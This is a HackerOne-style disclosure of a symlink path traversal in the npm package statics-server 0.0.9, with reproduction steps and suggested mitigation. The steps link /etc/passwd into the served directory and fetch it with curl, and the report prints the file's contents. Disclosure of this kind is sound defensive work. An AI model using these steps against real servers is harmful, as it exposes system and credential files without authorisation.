Node.js third-party modules: Path traversal using symlink

ID H1:695416
Type hackerone
Reporter 0xche
Modified 2019-10-07T16:39:37


I would like to report Path Traversal in statics-server


module name: statics-server version: 0.0.9 npm page:

Module Description

> npm install statics-server -g Go to the folder you want to statics-server Run the server statics-server

Module Stats

> 80-100 downloads/month


Vulnerability Description

> Path traversal using symlink.

Steps To Reproduce:

  • Install statics-server npm install statics-server -g
  • Run statics-server

``` hawkeye@ubuntu:~/App/$ statics-server 服务器已经启动 访问localhost:8080


  • Create a symlink inside your project directory. $ ln -s /etc/passwd passwdsym
  • Send request to get file.

``` hawkeye@ubuntu:~/$ curl localhost:8080/passwdsym root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin ...

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> Providing a flag to disable/enable following symlinks.

Supporting Material/References:

  • Ubuntu 19.04
  • Node v10.15.2
  • Npm 5.8.0

Wrap up

  • I contacted the maintainer to let them know: [N]
  • I opened an issue in the related repository: [N]


It allows attacker to read content of arbitrary file on remote server.